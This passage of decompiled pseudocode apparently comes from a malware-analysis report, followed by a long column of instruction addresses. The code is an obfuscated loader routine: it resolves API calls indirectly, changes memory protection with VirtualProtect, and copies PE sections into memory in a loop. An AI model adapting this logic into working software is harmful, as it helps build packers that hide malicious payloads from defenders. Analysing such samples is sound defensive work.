					 *_t1140 =  *_t1140 & 0x00000000;
					 *_t1140 =  *_t1140 ^ _t824 + 0x0041ccd3;
					_v20 = 0;
					 *_t1140 =  *_t1140 ^ _t824 + 0x0041c339;
					_t753 =  *((intOrPtr*)(_t824 + 0x41f068))(_v20, _t908, _t908);
					 *(_t824 + 0x41d2bf) =  *(_t824 + 0x41d2bf) & 0x00000000;
					 *(_t824 + 0x41d2bf) =  *(_t824 + 0x41d2bf) ^ _t969 ^  *_t1140 ^ _t753;
					_t975 =  *_t1140;
					_t1142 = _t1140 - 0xfffffffc;
					_v12 = _t753;
					_t756 = _v12;
					 *_t1142 =  *_t1142 ^ _t756;
					 *_t1142 =  *_t1142 ^ _t975;
					_v20 = _v20 & 0x00000000;
					 *_t1142 =  *_t1142 ^ _t824 + 0x0041c8b7;
					_push( *((intOrPtr*)(_t824 + 0x41f060))(_v20, _t756, _t969));
					_pop( *_t371);
					_push(_v16);
					_pop( *_t373);
					_pop( *_t374);
					_t977 = _t975 & 0x00000000 ^ _v16;
					 *(_t824 + 0x41c60a) = 0x40;
					 *_t1142 = _t977;
					_v16 = 0;
					 *_t1142 =  *_t1142 ^ _t824 + 0x0041c4cb;
					_t760 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v20);
					 *_t1142 = _t760;
					 *_t1142 = _t824 + 0x41c438;
					_t762 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v12);
					_pop( *_t386);
					 *_t1142 =  *_t1142 | _t824;
					_t830 = _t762;
					_t824 = 0;
					_v16 =  *((intOrPtr*)(_t824 + 0x41c166));
					_t916 =  *(_t824 + 0x41d118);
					_t1052 = _v16;
					if(_t916 > _t830 + _v20 + (_t908 & 0x00000000)) {
						_t391 = _t824 + 0x41c4cb; // 0x41c4cb
						 *_t1142 =  *_t1142 - _t916;
						 *_t1142 =  *_t1142 + _t391;
						_t392 = _t824 + 0x41c438; // 0x41c438
						 *_t1142 =  *_t1142 ^ _t977;
						 *_t1142 =  *_t1142 | _t392;
						_t791 =  *((intOrPtr*)(_t824 + 0x41f064))(_t977, _t916);
						_v20 = _t977;
						 *(_t824 + 0x41c583) =  *(_t824 + 0x41c583) & 0x00000000;
						 *(_t824 + 0x41c583) =  *(_t824 + 0x41c583) | _t977 - _v20 ^ _t791;
					}
					_t979 =  *_t1142;
					_t1143 = _t1142 - 0xfffffffc;
					_t401 = _t824 + 0x41c60a; // 0x41c60a
					 *_t1143 =  *_t1143 - _t979;
					 *_t1143 =  *_t1143 ^ _t401;
					 *_t1143 = _t979;
					_t403 = _t824 + 0x41cb46; // 0x41cb46
					 *_t1143 =  *_t1143 & 0x00000000;
					 *_t1143 =  *_t1143 + _t403;
					_t404 = _t824 + 0x41c91c; // 0x41c91c
					 *_t1143 = _t404;
					_t767 =  *((intOrPtr*)(_t824 + 0x41f068))(_v20, _t824, _v16, _t979);
					 *_t1143 = _t1081;
					 *(_t824 + 0x41cf40) = 0 ^ _t767;
					_t1097 = 0;
					_t981 =  *_t1143;
					_t1144 =  &(_t1143[1]);
					_pop( *_t408);
					 *_t1144 =  *_t1144 & 0x00000000;
					 *_t1144 =  *_t1144 + (0 ^ _v20);
					 *_t1144 = _t981;
					_t411 = _t824 + 0x41cc6e; // 0x41cc6e
					 *_t1144 = _t411;
					_t771 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v16, _t916);
					 *(_t824 + 0x41c082) =  *(_t824 + 0x41c082) & 0x00000000;
					 *(_t824 + 0x41c082) =  *(_t824 + 0x41c082) ^ _t981 & 0x00000000 ^ _t771;
					 *_t418 = _t981;
					_t986 = _v12;
					 *_t1144 = 2;
					_v12 = _v12 & 0x00000000;
					 *_t1144 =  *_t1144 ^ _t986;
					_t423 = _t824 + 0x41cfff; // 0x41cfff
					 *_t1144 =  *_t1144 & 0x00000000;
					 *_t1144 =  *_t1144 ^ _t423;
					_t773 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1112, _v12, _t824);
					 *_t1144 =  *_t1144 & 0x00000000;
					 *_t1144 =  *_t1144 + _t773;
					_t425 = _t824 + 0x41c3b9; // 0x41c3b9
					 *_t1144 =  *_t1144 - _t1112;
					 *_t1144 =  *_t1144 | _t425;
					_t775 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1112, _t986);
					_t1132 =  &(_t1144[1]);
					 *_t427 = _t775;
					_v20 = _v20 + (_t916 & 0x00000000 |  *_t1144);
					_push(_v20);
					_pop(_t776);
					_t1054 = _t1052;
					 *_t1132 = _t1054;
					_t879 =  *(_t824 + 0x41d0fa);
					_t1057 = 0;
					if(_t879 > _t776) {
						_t432 = _t824 + 0x41cfff; // 0x41cfff
						 *_t1132 =  *_t1132 - _t1112;
						 *_t1132 =  *_t1132 + _t432;
						_t433 = _t824 + 0x41c3b9; // 0x41c3b9
						 *_t1132 =  *_t1132 ^ _t1112;
						 *_t1132 =  *_t1132 + _t433;
						_t788 =  *((intOrPtr*)(_t824 + 0x41f064))(_t1112, _t1112);
						_v12 = _t1097;
						 *((intOrPtr*)(_t824 + 0x41d019)) = _t788;
						_t1097 = _v12;
					}
					_pop( *_t438);
					_t987 = _v12;
					 *_t1132 =  *_t1132 ^ _t824;
					 *_t1132 = _t987;
					_t440 = _t824 + 0x41c42d; // 0x41c42d
					 *_t1132 =  *_t1132 - _t1097;
					 *_t1132 =  *_t1132 + _t440;
					_t778 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1097, _t824);
					 *_t1132 = _t1057;
					 *((intOrPtr*)(_t824 + 0x41c664)) = _t778;
					_t1060 = 0;
					_v16 = _v16 & 0x00000000;
					 *_t1132 =  *_t1132 + _t1060;
					_t446 = _t824 + 0x41c4b9; // 0x41c4b9
					_v12 = 0;
					 *_t1132 =  *_t1132 + _t446;
					_t449 = _t824 + 0x41c298; // 0x41c298
					 *_t1132 =  *_t1132 ^ _t1097;
					 *_t1132 = _t449;
					_t781 =  *((intOrPtr*)(_t824 + 0x41f068))();
					_v16 = _t987;
					 *(_t824 + 0x41c405) = 0 ^ _t781;
					_t947 = _v16;
					VirtualProtect(_t1097, _v12, _v16, ??);
					_t455 = _t824 + 0x41c772; // 0x41c772
					_v20 = 0;
					 *_t1132 =  *_t1132 ^ _t455;
					_t458 = _t824 + 0x41cb5c; // 0x41cb5c
					 *_t1132 =  *_t1132 ^ _t824;
					 *_t1132 =  *_t1132 | _t458;
					_t785 =  *((intOrPtr*)(_t824 + 0x41f068))(_t824, _v20);
					_v12 = _t1060;
					 *(_t824 + 0x41c6c0) =  *(_t824 + 0x41c6c0) & 0x00000000;
					 *(_t824 + 0x41c6c0) =  *(_t824 + 0x41c6c0) | _t1060 - _v12 ^ _t785;
					_t1023 = _v12;
				}
				_pop( *_t467);
				_v16 = 0;
				 *_t1132 =  *_t1132 + _t824 + 0x41d305;
				 *_t1132 =  *_t1132 ^ _t879;
				 *_t1132 =  *_t1132 | _t824 + 0x0041cf53;
				_t701 =  *((intOrPtr*)(_t824 + 0x41f068))(_t879, _v16);
				_v16 = _t947;
				 *(_t824 + 0x41c775) = 0 ^ _t701;
				_t950 = _v16;
				_t1026 = (_t1023 & 0x00000000 | _v12) + 0xf8;
				_t827 = _t824;
				_v20 = 0;
				 *_t1132 =  *_t1132 ^ _t827 + 0x0041d2fb;
				_v16 = _v16 & 0x00000000;
				 *_t1132 =  *_t1132 + _t827 + 0x41c2ea;
				_push( *((intOrPtr*)(_t827 + 0x41f068))(_v16, _v20));
				_pop( *_t485);
				_push(_v12);
				_pop( *_t487);
				do {
					 *_t1132 = _t1026;
					 *_t1132 =  *_t1132 ^ _t879;
					 *_t1132 =  *_t1132 ^ _t827 + 0x0041c966;
					_t706 =  *((intOrPtr*)(_t827 + 0x41f060))(_t879, _v16);
					_v20 = _v20 & 0x00000000;
					 *_t1132 =  *_t1132 | _t706;
					 *_t1132 = _t827 + 0x41ca40;
					_t708 =  *((intOrPtr*)(_t827 + 0x41f060))(_v20, _v20);
					_t1133 = _t1132 - 0xfffffffc;
					 *_t497 = _t708;
					_v12 = _v12 + (_t879 & 0x00000000) +  *_t1132;
					_push(_v12);
					_pop(_t709);
					_t1028 = _t1026;
					_v16 = _t950;
					_t882 = 0 ^  *(_t827 + 0x41d332);
					_t953 = _v16;
					if(_t882 > _t709) {
						 *_t1133 =  *_t1133 ^ _t1112;
						 *_t1133 = _t827 + 0x41c966;
						 *_t1133 =  *_t1133 & 0x00000000;
						 *_t1133 =  *_t1133 | _t827 + 0x0041ca40;
						_t709 =  *((intOrPtr*)(_t827 + 0x41f064))(_t882, _t1112);
					}
					 *_t1133 = _t882;
					 *((intOrPtr*)(_t827 + 0x41c6bc)) = _t709;
					_v20 = _t1028;
					_t1031 = _v20;
					_v20 = _v20 & 0x00000000;
					 *_t1133 =  *_t1133 + _t827 + 0x41c5f7;
					_t711 =  *((intOrPtr*)(_t827 + 0x41f060))(_v20, 0);
					 *_t1133 = _t711;
					_v16 = _v16 & 0x00000000;
					 *_t1133 =  *_t1133 | _t827 + 0x0041c637;
					_t713 =  *((intOrPtr*)(_t827 + 0x41f060))(_v16, _v12);
					_t1134 =  &(_t1133[1]);
					_v20 = _a4;
					_push( *_t1133 + _t713);
					_t1085 = _v20;
					_pop(_t714);
					_push( *((intOrPtr*)(_t827 + 0x41cece)));
					_pop( *_t525);
					_push(_v20);
					_pop(_t888);
					if(_t888 > _t714) {
						 *_t1134 =  *_t1134 - _t888;
						 *_t1134 =  *_t1134 ^ _t827 + 0x0041c5f7;
						_v20 = _v20 & 0x00000000;
						 *_t1134 =  *_t1134 | _t827 + 0x0041c637;
						_t714 =  *((intOrPtr*)(_t827 + 0x41f064))(_v20, _t888);
					}
					_v12 = _t1085;
					 *(_t827 + 0x41c10a) =  *(_t827 + 0x41c10a) & 0x00000000;
					 *(_t827 + 0x41c10a) =  *(_t827 + 0x41c10a) | _t1085 ^ _v12 | _t714;
					 *_t1134 = _t1112;
					_t889 = 0 ^  *(_t1031 + 0x10);
					_t1112 = 0;
					 *_t1134 =  *_t1134 & 0x00000000;
					 *_t1134 =  *_t1134 ^ _t889;
					_v20 = 0;
					 *_t1134 =  *_t1134 ^ _t827 + 0x0041cee6;
					 *_t1134 =  *_t1134 ^ _t1112;
					 *_t1134 =  *_t1134 + _t827 + 0x41c9b9;
					_t717 =  *((intOrPtr*)(_t827 + 0x41f068))(_v20, _t714);
					_v20 = _t1031;
					 *(_t827 + 0x41cb03) =  *(_t827 + 0x41cb03) & 0x00000000;
					 *(_t827 + 0x41cb03) =  *(_t827 + 0x41cb03) ^ (_t1031 & 0x00000000 | _t717);
					_t1034 = _v20;
					 *_t552 = _t1112;
					_push(_v12);
					_pop( *_t555);
					_v16 = _v16 +  *((intOrPtr*)(_t1034 + 0x14));
					_push(_v16);
					_pop(_t1089);
					_t955 = _t953;
					_v16 = 0;
					 *_t1134 =  *_t1134 ^ _t889 & 0x00000000 ^ _v20;
					 *_t1134 =  *_t1134 & 0x00000000;
					 *_t1134 =  *_t1134 + _t827 + 0x41c452;
					_v12 = 0;
					 *_t1134 =  *_t1134 ^ _t827 + 0x0041c156;
					_t720 =  *((intOrPtr*)(_t827 + 0x41f068))(_v12, _t955, _v16);
					 *_t1134 = _t955;
					 *((intOrPtr*)(_t827 + 0x41c66c)) = _t720;
					_t958 = 0;
					_pop( *_t567);
					_t893 = _v16;
					_t1035 =  *(_t1034 + 0xc);
					 *_t1134 =  *_t1134 & 0x00000000;
					 *_t1134 =  *_t1134 + _t893;
					 *_t1134 =  *_t1134 - _t1112;
					 *_t1134 = _t827 + 0x41c5a4;
					_t722 =  *((intOrPtr*)(_t827 + 0x41f060))(_t1112, _t1089);
					 *_t1134 =  *_t1134 - _t1112;
					 *_t1134 =  *_t1134 ^ _t722;
					 *_t1134 =  *_t1134 ^ _t1035;
					 *_t1134 =  *_t1134 + _t827 + 0x41ce5b;
					_t724 =  *((intOrPtr*)(_t827 + 0x41f060))(_t1112);
					 *_t574 = _t1035;
					 *_t1134 =  *_t1134 + _t827;
					_t828 = _t724;
					_t827 = 0;
					_push( *((intOrPtr*)(_t827 + 0x41d348)));
					_pop( *_t577);
					_push(_v12);
					_pop(_t896);
					if(_t896 > _t828 + (_t893 & 0x00000000 ^ _v20)) {
						_t579 = _t827 + 0x41c5a4; // 0x41c5a4
						 *_t1134 =  *_t1134 ^ _t958;
						 *_t1134 =  *_t1134 | _t579;
						_t580 = _t827 + 0x41ce5b; // 0x41ce5b
						 *_t1134 =  *_t1134 - _t896;
						 *_t1134 =  *_t1134 | _t580;
						_t733 =  *((intOrPtr*)(_t827 + 0x41f064))(_t896, _t958);
						_v20 = _t1089;
						 *(_t827 + 0x41c50f) = 0 ^ _t733;
						_t1089 = _v20;
					}
					_v12 = _t958;
					_t1036 =  *(_t827 + 0x41c166) + _t1035;
					_t726 = memcpy(_t1036, _t1089, (_t896 & 0x00000000) +  *_t1134);
					_t1136 =  &(_t1134[4]);
					_t879 = 0;
					_t1132 = _t1136 - 0xfffffffc;
					_push(_v12);
					_t1026 =  *_t1136 + 0x28;
					_pop(_t950);
					_t588 =  &_v8;
					 *_t588 = _v8 - 1;
				} while ( *_t588 != 0);
				_pop( *_t590);
				_t1041 = _v16;
				_push(_t1112);
				 *_t594 = _t726 & 0x00000000 ^ _t1112 -  *_t1132 ^  *(_t1041 + 0x28);
				_v20 = _v20 +  *(_t827 + 0x41c166);
				_push(_v20);
				_pop(_t729);
				_t1043 = _t1041;
				 *_t1132 = _t950;
				 *((intOrPtr*)(_t827 + 0x41d140)) = _t729;
				_t966 = 0;
				_v12 = 0;
				_t1091 = _t1089 & 0x00000000 | 0 ^  *(_t827 + 0x41c166);
				_t901 = _v12;
				if(_t1091 > 0) {
					 *_t1132 =  *_t1132 & 0x00000000;
					 *_t1132 =  *_t1132 + _t1091;
					_t730 = E00124E1A(_t827, _t901, _t966, _t1043, _t1091, _t827);
					 *_t1132 = _t1091;
					_t729 = E00122FAF(_t730, _t827, _t901, _t966, _t1043, _t1091, _v12);
				}
				_pop( *_t603);
				return _t729;
			}


































































































































































































                                                                          0x00125f16
                                                                          0x00125f16
                                                                          0x00125f16
                                                                          0x00125f17
                                                                          0x00125f1b
                                                                          0x00125f1e
                                                                          0x00125f20
                                                                          0x00125f23
                                                                          0x00125f24
                                                                          0x00125f28
                                                                          0x00125f2b
                                                                          0x00125f2c
                                                                          0x00125f30
                                                                          0x00125f39
                                                                          0x00125f3a
                                                                          0x00125f3d
                                                                          0x00125f46
                                                                          0x00125f4a
                                                                          0x00125f4d
                                                                          0x00125f56
                                                                          0x00125f57
                                                                          0x00125f5a
                                                                          0x00125f5d
                                                                          0x00125f63
                                                                          0x00125f66
                                                                          0x00125f6e
                                                                          0x00125f71
                                                                          0x00125f72
                                                                          0x00125f75
                                                                          0x00125f78
                                                                          0x00125f7b
                                                                          0x00125f84
                                                                          0x00125f85
                                                                          0x00125f88
                                                                          0x00125f8b
                                                                          0x00125f91
                                                                          0x00125f94
                                                                          0x00125f9d
                                                                          0x00125f9e
                                                                          0x00125fa2
                                                                          0x00125fa5
                                                                          0x00125fab
                                                                          0x00125fb1
                                                                          0x00125fb5
                                                                          0x00125fb8
                                                                          0x00125fbb
                                                                          0x00125fbe
                                                                          0x00125fc0
                                                                          0x00125fcb
                                                                          0x00125fd2
                                                                          0x00125fda
                                                                          0x00125fdd
                                                                          0x00125fe6
                                                                          0x00125fe7
                                                                          0x00125fea
                                                                          0x00125ff3
                                                                          0x00125ff4
                                                                          0x00125ff7
                                                                          0x00125ffa
                                                                          0x00125ffa
                                                                          0x00126002
                                                                          0x00126005
                                                                          0x00126009
                                                                          0x0012600d
                                                                          0x00126017
                                                                          0x0012601b
                                                                          0x00126025
                                                                          0x00126029
                                                                          0x0012602c
                                                                          0x00126032
                                                                          0x00126039
                                                                          0x0012604b
                                                                          0x00126054
                                                                          0x0012605e
                                                                          0x00126067
                                                                          0x00126068
                                                                          0x0012606b
                                                                          0x0012606e
                                                                          0x00126074
                                                                          0x0012607b
                                                                          0x0012607e
                                                                          0x00126088
                                                                          0x0012608b
                                                                          0x00126094
                                                                          0x00126095
                                                                          0x00126098
                                                                          0x0012609b
                                                                          0x001260a1
                                                                          0x001260a7
                                                                          0x001260ae
                                                                          0x001260b7
                                                                          0x001260be
                                                                          0x001260c1
                                                                          0x001260c8
                                                                          0x001260cb
                                                                          0x001260d4
                                                                          0x001260db
                                                                          0x001260de
                                                                          0x001260e4
                                                                          0x001260e7
                                                                          0x001260ee
                                                                          0x001260f1
                                                                          0x001260f4
                                                                          0x001260f7
                                                                          0x001260f8
                                                                          0x00126106
                                                                          0x00126108
                                                                          0x0012610b
                                                                          0x00126114
                                                                          0x00126118
                                                                          0x00126124
                                                                          0x00126127
                                                                          0x0012612d
                                                                          0x00126133
                                                                          0x0012613a
                                                                          0x00126140
                                                                          0x00126147
                                                                          0x0012614a
                                                                          0x0012614f
                                                                          0x00126156
                                                                          0x0012615c
                                                                          0x0012615f
                                                                          0x00126162
                                                                          0x0012616b
                                                                          0x0012616e
                                                                          0x00126172
                                                                          0x00126176
                                                                          0x0012617a
                                                                          0x0012617e
                                                                          0x00126188
                                                                          0x0012618c
                                                                          0x00126195
                                                                          0x0012619c
                                                                          0x0012619f
                                                                          0x001261ab
                                                                          0x001261b2
                                                                          0x001261be
                                                                          0x001261c1
                                                                          0x001261c8
                                                                          0x001261d1
                                                                          0x001261db
                                                                          0x001261de
                                                                          0x001261e5
                                                                          0x001261e8
                                                                          0x001261f1
                                                                          0x001261fb
                                                                          0x001261fe
                                                                          0x00126206
                                                                          0x00126209
                                                                          0x00126210
                                                                          0x00126213
                                                                          0x00126216
                                                                          0x00126219
                                                                          0x0012621a
                                                                          0x0012621b
                                                                          0x00126231
                                                                          0x00126239
                                                                          0x00126240
                                                                          0x00126249
                                                                          0x00126253
                                                                          0x00126256
                                                                          0x00126256
                                                                          0x0012625e
                                                                          0x00126265
                                                                          0x0012626b
                                                                          0x0012626c
                                                                          0x00126276
                                                                          0x00126279
                                                                          0x00126283
                                                                          0x0012628c
                                                                          0x00126296
                                                                          0x00126299
                                                                          0x0012629f
                                                                          0x001262a9
                                                                          0x001262b5
                                                                          0x001262b8
                                                                          0x001262c3
                                                                          0x001262c6
                                                                          0x001262cd
                                                                          0x001262ce
                                                                          0x001262d1
                                                                          0x001262d2
                                                                          0x001262dd
                                                                          0x001262df
                                                                          0x001262e4
                                                                          0x001262ec
                                                                          0x001262f6
                                                                          0x00126300
                                                                          0x00126303
                                                                          0x00126306
                                                                          0x0012630c
                                                                          0x00126314
                                                                          0x0012631b
                                                                          0x00126321
                                                                          0x00126321
                                                                          0x0012632a
                                                                          0x0012632d
                                                                          0x00126335
                                                                          0x00126338
                                                                          0x0012633b
                                                                          0x0012633e
                                                                          0x0012633f
                                                                          0x00126343
                                                                          0x0012634d
                                                                          0x00126351
                                                                          0x0012635d
                                                                          0x00126360
                                                                          0x00126368
                                                                          0x0012636f
                                                                          0x00126375
                                                                          0x0012637c
                                                                          0x0012637f
                                                                          0x00126385
                                                                          0x00126389
                                                                          0x0012638c
                                                                          0x00126396
                                                                          0x00126399
                                                                          0x001263a2
                                                                          0x001263a9
                                                                          0x001263ac
                                                                          0x001263b4
                                                                          0x001263bb
                                                                          0x001263c1
                                                                          0x001263c7
                                                                          0x001263ca
                                                                          0x001263d1
                                                                          0x001263d3
                                                                          0x001263dc
                                                                          0x001263e6
                                                                          0x001263e9
                                                                          0x001263f0
                                                                          0x001263f3
                                                                          0x001263fd
                                                                          0x00126400
                                                                          0x00126403
                                                                          0x00126412
                                                                          0x00126417
                                                                          0x0012641b
                                                                          0x0012641e
                                                                          0x00126420
                                                                          0x00126421
                                                                          0x0012642c
                                                                          0x0012642e
                                                                          0x00126433
                                                                          0x0012643c
                                                                          0x0012643f
                                                                          0x00126448
                                                                          0x00126452
                                                                          0x00126455
                                                                          0x00126455
                                                                          0x00126461
                                                                          0x00126468
                                                                          0x0012646e
                                                                          0x00126474
                                                                          0x00126477
                                                                          0x00126483
                                                                          0x00126486
                                                                          0x0012648c
                                                                          0x00126494
                                                                          0x0012649b
                                                                          0x001264a1
                                                                          0x001264a6
                                                                          0x001264b2
                                                                          0x001264b6
                                                                          0x001264b9
                                                                          0x001264c1
                                                                          0x001264c5
                                                                          0x001264c8
                                                                          0x001264d4
                                                                          0x001264db
                                                                          0x001264e1
                                                                          0x001264e3
                                                                          0x001264e6
                                                                          0x001264f2
                                                                          0x001264f5
                                                                          0x001264fe
                                                                          0x0012650a
                                                                          0x0012650d
                                                                          0x00126515
                                                                          0x00126518
                                                                          0x0012651f
                                                                          0x00126522
                                                                          0x00126525
                                                                          0x00126528
                                                                          0x00126529
                                                                          0x00126537
                                                                          0x00126539
                                                                          0x0012653c
                                                                          0x0012653e
                                                                          0x00126544
                                                                          0x0012654e
                                                                          0x00126551
                                                                          0x00126558
                                                                          0x0012655c
                                                                          0x0012655f
                                                                          0x0012655f
                                                                          0x00126567
                                                                          0x0012656e
                                                                          0x00126574
                                                                          0x00126575
                                                                          0x00126586
                                                                          0x00126590
                                                                          0x00126593
                                                                          0x0012659a
                                                                          0x0012659e
                                                                          0x001265a1
                                                                          0x001265a9
                                                                          0x001265b0
                                                                          0x001265b6
                                                                          0x001265b7
                                                                          0x001265ca
                                                                          0x001265cc
                                                                          0x001265ce
                                                                          0x001265d2
                                                                          0x001265d5
                                                                          0x001265db
                                                                          0x001265e5
                                                                          0x001265e8
                                                                          0x001265ee
                                                                          0x001265f6
                                                                          0x001265fd
                                                                          0x00126603
                                                                          0x0012660b
                                                                          0x00126610
                                                                          0x00126618
                                                                          0x0012661b
                                                                          0x00126622
                                                                          0x00126625
                                                                          0x0012662b
                                                                          0x00126632
                                                                          0x00126635
                                                                          0x0012663c
                                                                          0x00126640
                                                                          0x00126643
                                                                          0x0012664a
                                                                          0x0012664e
                                                                          0x00126651
                                                                          0x00126659
                                                                          0x0012665f
                                                                          0x00126666
                                                                          0x00126667
                                                                          0x0012666a
                                                                          0x0012666b
                                                                          0x00126671
                                                                          0x00126674
                                                                          0x00126677
                                                                          0x0012667a
                                                                          0x00126685
                                                                          0x0012668f
                                                                          0x00126693
                                                                          0x00126696
                                                                          0x0012669d
                                                                          0x001266a0
                                                                          0x001266a3
                                                                          0x001266a3
                                                                          0x001266a9
                                                                          0x001266ac
                                                                          0x001266af
                                                                          0x001266c2
                                                                          0x001266c6
                                                                          0x001266c9
                                                                          0x001266d2
                                                                          0x001266dc
                                                                          0x001266e8
                                                                          0x001266eb
                                                                          0x001266f1
                                                                          0x001266f8
                                                                          0x001266fe
                                                                          0x00126703
                                                                          0x00126706
                                                                          0x0012670b
                                                                          0x0012670e
                                                                          0x00126713
                                                                          0x0012671a
                                                                          0x0012671d
                                                                          0x00126720
                                                                          0x00126727
                                                                          0x00126730
                                                                          0x0012673a
                                                                          0x0012673d
                                                                          0x00126743
                                                                          0x0012674d
                                                                          0x00126757
                                                                          0x0012675b
                                                                          0x0012675e
                                                                          0x0012676d
                                                                          0x00126774
                                                                          0x00126777
                                                                          0x0012677a
                                                                          0x0012677d
                                                                          0x0012677e
                                                                          0x0012677f
                                                                          0x00126781
                                                                          0x0012678c
                                                                          0x00126791
                                                                          0x0012679a
                                                                          0x0012679d
                                                                          0x001267a7
                                                                          0x001267ab
                                                                          0x001267ae
                                                                          0x001267b4
                                                                          0x001267b6
                                                                          0x001267bd
                                                                          0x001267c3
                                                                          0x001267c4
                                                                          0x001267c7
                                                                          0x001267cc
                                                                          0x001267cf
                                                                          0x001267d2
                                                                          0x001267d2
                                                                          0x001267d3
                                                                          0x001267dd
                                                                          0x001267e0
                                                                          0x001267e7
                                                                          0x001267f1
                                                                          0x001267f4
                                                                          0x001267f7
                                                                          0x001267fe
                                                                          0x00126801
                                                                          0x0012680b
                                                                          0x0012680f
                                                                          0x00126812
                                                                          0x0012681d
                                                                          0x00126824
                                                                          0x00126827
                                                                          0x0012682a
                                                                          0x0012682d
                                                                          0x0012682e
                                                                          0x0012682f
                                                                          0x00126841
                                                                          0x0012684c
                                                                          0x00126858
                                                                          0x0012685b
                                                                          0x00126861
                                                                          0x00126868
                                                                          0x0012686e
                                                                          0x00126873
                                                                          0x00126876
                                                                          0x0012687e
                                                                          0x00126881
                                                                          0x00126881
                                                                          0x00126889
                                                                          0x0012688d
                                                                          0x00126897
                                                                          0x0012689b
                                                                          0x001268a4
                                                                          0x001268ae
                                                                          0x001268b1
                                                                          0x001268bd
                                                                          0x001268c4
                                                                          0x001268cd
                                                                          0x001268d0
                                                                          0x001268d3
                                                                          0x001268e0
                                                                          0x001268e4
                                                                          0x001268e7
                                                                          0x001268f0
                                                                          0x001268f7
                                                                          0x00126900
                                                                          0x00126901
                                                                          0x00126904
                                                                          0x00126907
                                                                          0x00126913
                                                                          0x00126916
                                                                          0x00126919
                                                                          0x00126926
                                                                          0x0012692f
                                                                          0x00126939
                                                                          0x0012693c
                                                                          0x00126945
                                                                          0x00126951
                                                                          0x00126954
                                                                          0x00126960
                                                                          0x00126968
                                                                          0x0012696c
                                                                          0x00126971
                                                                          0x00126972
                                                                          0x0012697d
                                                                          0x0012697f
                                                                          0x00126984
                                                                          0x00126986
                                                                          0x0012698d
                                                                          0x00126990
                                                                          0x00126993
                                                                          0x0012699a
                                                                          0x0012699d
                                                                          0x001269a0
                                                                          0x001269a6
                                                                          0x001269ae
                                                                          0x001269b5
                                                                          0x001269bb
                                                                          0x001269c0
                                                                          0x001269c3
                                                                          0x001269c6
                                                                          0x001269cd
                                                                          0x001269d0
                                                                          0x001269d6
                                                                          0x001269d9
                                                                          0x001269e0
                                                                          0x001269e4
                                                                          0x001269e7
                                                                          0x001269f0
                                                                          0x001269f3
                                                                          0x001269fb
                                                                          0x00126a02
                                                                          0x00126a08
                                                                          0x00126a0b
                                                                          0x00126a0e
                                                                          0x00126a13
                                                                          0x00126a1a
                                                                          0x00126a1e
                                                                          0x00126a24
                                                                          0x00126a27
                                                                          0x00126a30
                                                                          0x00126a33
                                                                          0x00126a3f
                                                                          0x00126a46
                                                                          0x00126a4f
                                                                          0x00126a52
                                                                          0x00126a56
                                                                          0x00126a5d
                                                                          0x00126a64
                                                                          0x00126a67
                                                                          0x00126a6e
                                                                          0x00126a72
                                                                          0x00126a75
                                                                          0x00126a7c
                                                                          0x00126a80
                                                                          0x00126a83
                                                                          0x00126a8a
                                                                          0x00126a8d
                                                                          0x00126a90
                                                                          0x00126a9f
                                                                          0x00126aa6
                                                                          0x00126aa9
                                                                          0x00126aac
                                                                          0x00126aaf
                                                                          0x00126ab0
                                                                          0x00126ab3
                                                                          0x00126abe
                                                                          0x00126ac0
                                                                          0x00126ac3
                                                                          0x00126ac5
                                                                          0x00126acc
                                                                          0x00126acf
                                                                          0x00126ad2
                                                                          0x00126ad9
                                                                          0x00126adc
                                                                          0x00126adf
                                                                          0x00126ae5
                                                                          0x00126aec
                                                                          0x00126af2
                                                                          0x00126af2
                                                                          0x00126af5
                                                                          0x00126af8
                                                                          0x00126afc
                                                                          0x00126aff
                                                                          0x00126b02
                                                                          0x00126b09
                                                                          0x00126b0c
                                                                          0x00126b0f
                                                                          0x00126b17
                                                                          0x00126b1e
                                                                          0x00126b24
                                                                          0x00126b25
                                                                          0x00126b2c
                                                                          0x00126b2f
                                                                          0x00126b35
                                                                          0x00126b3f
                                                                          0x00126b42
                                                                          0x00126b49
                                                                          0x00126b4c
                                                                          0x00126b4f
                                                                          0x00126b55
                                                                          0x00126b5c
                                                                          0x00126b62
                                                                          0x00126b65
                                                                          0x00126b6b
                                                                          0x00126b71
                                                                          0x00126b7b
                                                                          0x00126b7e
                                                                          0x00126b85
                                                                          0x00126b88
                                                                          0x00126b8b
                                                                          0x00126b91
                                                                          0x00126b99
                                                                          0x00126ba0
                                                                          0x00126ba6
                                                                          0x00126ba6
                                                                          0x00126baf
                                                                          0x00126bbb
                                                                          0x00126bc5
                                                                          0x00126bcf
                                                                          0x00126bd2
                                                                          0x00126bd5
                                                                          0x00126bdb
                                                                          0x00126be2
                                                                          0x00126be8
                                                                          0x00126bf4
                                                                          0x00126bf6
                                                                          0x00126bfd
                                                                          0x00126c07
                                                                          0x00126c10
                                                                          0x00126c17
                                                                          0x00126c20
                                                                          0x00126c21
                                                                          0x00126c24
                                                                          0x00126c27
                                                                          0x00126c2d
                                                                          0x00126c30
                                                                          0x00126c3a
                                                                          0x00126c3d
                                                                          0x00126c40
                                                                          0x00126c46
                                                                          0x00126c4d
                                                                          0x00126c59
                                                                          0x00126c5c
                                                                          0x00126c6b
                                                                          0x00126c72
                                                                          0x00126c75
                                                                          0x00126c78
                                                                          0x00126c7b
                                                                          0x00126c7c
                                                                          0x00126c7d
                                                                          0x00126c88
                                                                          0x00126c8a
                                                                          0x00126c8f
                                                                          0x00126c98
                                                                          0x00126c9b
                                                                          0x00126ca5
                                                                          0x00126ca9
                                                                          0x00126cac
                                                                          0x00126cac
                                                                          0x00126cb4
                                                                          0x00126cbb
                                                                          0x00126cc2
                                                                          0x00126ccc
                                                                          0x00126cd5
                                                                          0x00126cdc
                                                                          0x00126cdf
                                                                          0x00126ce8
                                                                          0x00126cf1
                                                                          0x00126cf8
                                                                          0x00126cfb
                                                                          0x00126d06
                                                                          0x00126d09
                                                                          0x00126d10
                                                                          0x00126d11
                                                                          0x00126d14
                                                                          0x00126d15
                                                                          0x00126d1b
                                                                          0x00126d1e
                                                                          0x00126d21
                                                                          0x00126d24
                                                                          0x00126d2d
                                                                          0x00126d30
                                                                          0x00126d39
                                                                          0x00126d40
                                                                          0x00126d43
                                                                          0x00126d43
                                                                          0x00126d49
                                                                          0x00126d51
                                                                          0x00126d58
